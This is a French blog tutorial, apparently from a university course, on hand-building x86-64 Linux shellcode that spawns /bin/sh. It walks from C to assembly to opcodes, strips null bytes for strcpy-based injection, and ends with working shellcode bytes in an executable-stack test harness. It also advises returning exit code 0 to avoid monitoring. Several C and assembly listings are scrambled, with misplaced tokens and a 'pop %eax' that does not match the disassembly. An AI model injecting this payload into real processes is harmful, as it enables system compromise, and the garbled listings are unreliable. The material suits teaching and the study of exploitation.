Faire son shellcode pour un Linux 64 bits.
Divulgâchage : Un petit retour aux sources avec un article qui nous amène à la base de l’exploitation logicielle : faire un shellcode sur une archi 64 bits.
L’autre jour, en donnant un cours à l’INSA, j’ai présenté aux étudiants une méthode pour fabriquer son propre shellcode.
Pour ceux qui ne connaissent pas le terme, il s’agit d’une chaine de caractères contenant un code binaire pouvant être exécuté sur une machine. Il doit être différent en fonction de l’architecture sur laquelle il va tourner, mais aussi de l’OS auquel il est destiné.
Mes transparents montraient alors en exemple la création d’un shellcode sur un Linux, pour une architecture 32bits. Le binaire exécuté était ce qui se fait de plus classique en matière de shellcode: ouvrir une ligne de commande.
Et évidemment, on m’a posé la question suivante : « Et sur 64bits ? »
Voici donc un petit article pour répondre à la question, il détaille
la création d’un shellcode permettant de lancer
/bin/sh
si on a un Linux et un processeur 64 bits.
Code C
Si nous étions des brutasses, nous pourrions bien évidemment écrire directement le shellcode en code machine… Mais peut de gens parlent opcode couramment… Même l’assembleur (une traduction des opcodes un pouième plus lisible) est un langage qui n’est pas très répandu…
La tradition veut donc, que lorsque l’on écrit un shellcode, on parte d’un code en C, que l’on traduira en assembleur, puis en code machine.
L’écriture du code en C est facultative, mais présente deux avantages :
- elle permet de définir une cible, qu’est ce que notre code va faire exactement ?
- elle permet de disposer d’un exécutable que l’on pourra désassembler
(traduire en assembleur), par exemple, grâce à
gdb
, afin de voir comment il est fait.
La cible
Le programme suivant permet de lancer un shell, grâce à l’utilisation
de execve
. Il nous servira de cible : il représente
exactement ce que nous souhaitons que notre shellcode fasse.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main() {
char *name[2];
[0] = "/bin/sh";
name[1] = NULL;
name(name[0], name, NULL);
execve(0);
exit}
Lors de l’appel à execve()
, le système va remplacer le
processus courant par celui correspondant à l’exécution de
/bin/sh
. Si cette opération réussi, le flux d’instruction
est interrompu pour se poursuivre dans ce nouveau processus. En cas
d’échec, l’exécution se poursuivra par l’appel exit(0)
.
Dans un main
comme le notre, l’appel à
exit(0)
est inutile puisqu’en cas d’échec de
execve
, le programme se terminerait de toutes façons
naturellement.
Mais le but d‘un shellcode est d’être injecté dans la mémoire d’un
processus victime d’une attaque pour y être exécuté (i.e. par
buffer overflow mais pas que). Comme nous n’avons aucune
certitude ni sur la réussite de execve()
, ni sur le contenu
de la mémoire après notre shellcode, nous préférons forcer un arrêt
discret du processus par un appel à exit()
plutôt que de le
laisser exécuter n’importe quoi n’importe comment.
Si on voulait être plus propre, on devrait d’ailleurs faire un
exit(1)
mais comme on ne souhaite généralement pas attirer
l’attention du monitoring par des codes de retours d’erreur (avec un 1),
on lui ment en disant que tout va bien (avec un 0).
La compilation
On compile avec gcc
, puis on exécute le binaire et on
observe que nous avons bien ouvert un shell.
arsouyes@VBox:~/Documents$ gcc shellcode.c -o shellcode
arsouyes@VBox:~/Documents$ ./shellcode
$
Si vous souhaitez observer avec gdb
le code desassemblé,
je vous conseille de compiler avec les options suivantes :
-static
compile en mode statique, permettant de ne pas dépendre de bibliothèques externes, et par la même occasion, permettra de décompiler le code deexecve
puisqu’il sera intégré à notre binaire,-ggdb
permet d’obtenir plus d’informations dans gdb, comme le nom des fonctions,-fno-stack-protector
permet de supprimer la protection contre les buffer overflow mise par défaut à la compilation pargcc
. D’une part, parce qu’on se fout que notre shellcode soit protégé contre les buffer overflow, d’autre part, parce que ça alourdit le code assembleur que l’on va obtenir, et qu’on veut aller à l’essentiel.
Passer par l’assembleur
Maintenant que l’on sait où l’on va, on va écrire le code assembleur correspondant au code C.
Nous nous heurtons à deux contraintes :
- connaitre l’adresse de
/bin/sh
. - s’affranchir des bibliothèques externes.
La chaine /bin/sh
Il n’est pas possible de connaitre à l’avance l’adresse de la chaîne
de caractères /bin/sh
. Il va donc falloir ruser pour la
récupérer.
Chose intéressante, puisque nous sommes sur une architecture 64 bits,
il est possible de stocker directement la chaîne de caractères
/bin/sh
, sous sa forme hexadécimale, dans un registre.
/bin/sh
en hexadécimal donne :
2f.62.69.6e.2f.73.68
. Comme nous sommes sur une
architecture petit-boutiste,
cela donnera 0x68732f6e69622f
. Enfin, puisqu’il s’agit
d’une chaîne de caractères, on va rajouter le caractère vide
(0x00
) à la fin, nous stockerons donc la chaine
0x0068732f6e69622f
dans un registre.
Nous pourrons ensuite pusher ce registre sur la pile. L’adresse de la chaine sera alors l’adresse de pointeur de pile.
Execve
La deuxième contrainte est l’obligation de s’affranchir de toutes
bibliothèque externe, car nous ne sommes pas sûrs qu’elles soient
présentes. Il va donc falloir aller à la source des appels, dans notre
cas à execve
et à exit
.
La fonction execve
est une fonction assez spéciale. Elle
nécessite de demander au système d’exploitation d’effectuer des tâches
relatives au contrôle des processus. Comme notre processus utilisateur
n’est pas capable d’effectuer ce genre de requêtes, on doit faire des appels
systèmes.
Une petite recherche dans la table
des appels systèmes du noyau Linux nous apprends que
execve
correspond à l’appel système numéro 59, soit
0x3b
en hexadécimal.
Par convention
lorsque l’on appelle un appel système, sous Linux, le passage des
paramètres se fasse via les registres dans l’ordre suivant :
rdi
, rsi
, rdx
, rcx
,
r8
, r9
. De même, par convention,
le numéro de l’appel système doit se situer dans le registre
rax
. L’appel système est ensuite effectué via l’instruction
assembleur syscall
. Nous devons donc mettre l’adresse de
/bin/sh
dans le registre rdi
, l’adresse de
l’adresse de /bin/sh
dans le registre rsi
et 0
dans le registre rdx
. Nous devons également
avoir0x3b
dans le registre rax
.
Ce qui se traduit en assembleur par :
mov $0x3b, %rax
mov $0x0, %rdx
$0x0068732f6e69622f,%r8
movabs push %r8
mov %rsp, %rdi
push %rdx
push %rdi
mov %rsp, %rsi
syscall
mov $0x3c, %rax
mov $0x0, %rdi
syscall
Exit
Comme précédemment, exit est un appel système. Il fonctionne donc de
la même manière que execve
, c’est à dire que son unique
paramètre sera dans le registre rdi
, et son numéro (60,
c’est à dire 0x3c
), doit être dans le registre
rax
.
Son code assembleur sera donc :
mov $0x3c, %rax
mov $0x0, %rdi
syscall
Si vous souhaitez utiliser gdb afin de désassembler exit et d’observer son code, vous vous rendrez compte que cela s’avère fastidieux ;
exit
appelle_run_exit_handlers
qui lui même effectue énormément de choses avant d’appeler_exit
, qui finit par faire le syscall en mettant 0x3c dans le registrerax
.
Code final
Maintenant que nous disposons de toutes les informations pour écrire
notre code, nous pouvons les concaténer ensemble et écrire le code en
assembleur. Pour faciliter, on rajoute les quelques décorations qui nous
permettrons d’avoir un code asm
autonome :
section .text
.
.globl _start_start:
mov $0x3b, %rax
mov $0x0, %rdx
$0x0068732f6e69622f,%r8
movabs push %r8
mov %rsp, %rdi
push %rdx
push %rdi
mov %rsp, %rsi
syscall
mov $0x3c, %rax
mov $0x0, %rdi
syscall
On converti en code objet grâce à as
, puis on génère un
fichier exécutable avec ld
.
Comme nous n’utilisons pas de bibliothèque externe, ld va juste effectuer de la «décoration», c’est à dire, le header, le point d’entrée, et pas grand chose de plus…
arsouyes@VBox:~/Documents$ as -o asm.o asm.s
arsouyes@VBox:~/Documents$ ld -o asm asm.o
arsouyes@VBox:~/Documents$ ./asm
$
Opcode
Maintenant que l’on a notre code assembleur, on peut enfin passer au
code machine. Chaque instruction doit être traduite en code machine,
suite de 0
et de 1
compréhensible par le
processeur. Pour cela, on peut se servir de la documentation
d’INTEL.
Mais comme un bon informaticien est un informaticien fainéant, on va utiliser objdump, qui va le faire pour nous…
objdump est un programme en ligne de commande, permettant
d’afficher différentes informations sur des fichiers objets. L’option
qui nous intéresse est -d
, qui permet de désassembler.
Chaque instruction est découpée en une ligne, qui commence par son
adresse, puis sa version en hexadécimal, et enfin, son code
assembleur.
arsouyes@VBox:~/Documents$ objdump -d asm.o
asm.o: format de fichier elf64-x86-64
Déassemblage de la section .text :
0000000000000000 <_start>:
0: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax
7: 48 c7 c2 00 00 00 00 mov $0x0,%rdx
e: 49 b8 2f 62 69 6e 2f movabs $0x68732f6e69622f,%r8
15: 73 68 00
18: 41 50 push %r8
1a: 48 89 e7 mov %rsp,%rdi
1d: 52 push %rdx
1e: 57 push %rdi
1f: 48 89 e6 mov %rsp,%rsi
22: 0f 05 syscall
24: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax
2b: 48 c7 c7 00 00 00 00 mov $0x0,%rdi
32: 0f 05 syscall
Nous allons récupérer l’hexadécimal. Il s’agit de notre shellcode.
\x48\xc7\xc0\x3b\x00\x00\x00\x48
\xc7\xc2\x00\x00\x00\x00\x49\xb8
\x2f\x62\x69\x6e\x2f\x73\x68\x00
\x41\x50\x48\x89\xe7\x52\x57\x48
\x89\xe6\x0f\x05\x48\xc7\xc0\x3c
\x00\x00\x00\x48\xc7\xc7\x00\x00
\x00\x00\x0f\x05
On peut alors tester notre shellcode. Pour cela, nous allons utiliser un petit code C. En déclarant un pointeur de fonction et en lui donnant comme valeur l’adresse du shellcode, on va pouvoir l’exécuter:
#include<stdio.h>
#include<string.h>
int main(int argc, char **argv) {
unsigned char code[] =
"\x48\xc7\xc0\x3b\x00\x00\x00\x48"
"\xc7\xc2\x00\x00\x00\x00\x49\xb8"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x41\x50\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05\x48\xc7\xc0\x3c"
"\x00\x00\x00\x48\xc7\xc7\x00\x00"
"\x00\x00\x0f\x05";
int (*ret)() = (int(*)())code;
();
ret}
Pour compiler, il faut utiliser les options suivantes :
-fno-stack-protector
pour supprimer les protection de pile automatiquement mises pargcc
-z execstack
afin de marquer le programme comme autorisant une pile exécutable.
arsouyes@VBox:~/Documents$ gcc testop.c -o testop -fno-stack-protector -z execstack
arsouyes@VBox:~/Documents$ ./testop
$ exit
Il vous faudra peut être également installer le paquet execstack.
Et voilà ! Notre shellcode fonctionne !
Supprimer les 0x00
Notre shellcode est encore loin d’être prêt pour une
utilisation dans un cas réel. La présence de 0x00
dans
celui-ci peut l’amener à être tronqué en cas de copie avec une fonction
comme strcpy…
Il faut donc trouver une alternative à chaque instruction posant problème.
Une instruction mov
contenant des opcodes avec des 0
peut être remplacé par un push
, suivit d’un
pop
.
Dans notre cas :
mov $0x3b,%rax
et
mov $0x3c,%rax
posent problème et
peuvent être remplacés par
push $0x3b
pop %rax
et
push $0x3c
pop %rax
Une instruction mettant 0x00 dans un registre peut être remplacé par
un xor
du registre sur lui-même.
On effectue donc un premier remplacement :
; mov $0x0,%rdx
xor %rdx,%rdx
Et un deuxième :
; mov $0x0,%rdi
xor %rdi,%rdi
Enfin, notre chaine de caractères elle-même se finit par un
\0
. Pour éviter cela, on va utiliser la chaine
//bin/sh
, que l’on va mettre dans le registre r8, puis on
va faire un décalage de 8 bits, ce qui mettra donc un 0 à la fin de la
chaîne.
Dans notre cas :
movabs $0x0068732f6e69622f,%r8
sera remplacé par
; movabs $0x0068732f6e69622f,%r8
$0x68732f6e69622f2f,%r8
movabs shr $0x8, %r8
Notre code assembleur final sera donc :
section .text
.
.globl _start_start:
push $0x3b
pop %eax
xor %rdx,%rdx
$0x68732f6e69622f2f,%r8
movabs shr $0x8, %r8
push %r8
mov %rsp, %rdi
push %rdx
push %rdi
mov %rsp, %rsi
syscall
push $0x3c
pop %eax
xor %rdi,%rdi
syscall
En utilisant objdump
, on vérifie qu’il ne reste plus de
0:
arsouyes@VBox:~/Documents$ objdump -d asm2.o
asm2.o: format de fichier elf64-x86-64
Déassemblage de la section .text :
0000000000000000 <_start>:
0: 6a 3b pushq $0x3b
2: 58 pop %rax
3: 48 31 d2 xor %rdx,%rdx
6: 49 b8 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%r8
d: 2f 73 68
10: 49 c1 e8 08 shr $0x8,%r8
14: 41 50 push %r8
16: 48 89 e7 mov %rsp,%rdi
19: 52 push %rdx
1a: 57 push %rdi
1b: 48 89 e6 mov %rsp,%rsi
1e: 0f 05 syscall
20: 6a 3c pushq $0x3c
22: 58 pop %rax
23: 48 31 ff xor %rdi,%rdi
26: 0f 05 syscall
Nous disposons donc d’un shellcode dont nous avons supprimé les 0. On peut le tester de la même manière que tout à l’heure, en l’insérant dans un code C.
#include<stdio.h>
#include<string.h>
int main(int argc, char **argv) {
unsigned char code[] =
"\x6a\x3b\x58\x48\x31\xd2\x49"
"\xb8\x2f\x2f\x62\x69\x6e\x2f"
"\x73\x68\x49\xc1\xe8\x08\x41"
"\x50\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05\x6a\x3c\x58"
"\x48\x31\xff\x0f\x05";
int (*ret)() = (int(*)())code;
();
ret}
En compilant et exécutant:
arsouyes@VBox:~/Documents$ gcc testop2.c -o testop2 -fno-stack-protector -z execstack
arsouyes@VBox:~/Documents$ ./testop2
$ exit
Et après ?
Vous pouvez utiliser cette méthode pour créer vos propres shellcodes. On peut bien évidemment l’adapter à un Linux 32 bits, ou encore à Windows. Et réutiliser le principe pour faire plus que lancer simplement un shell…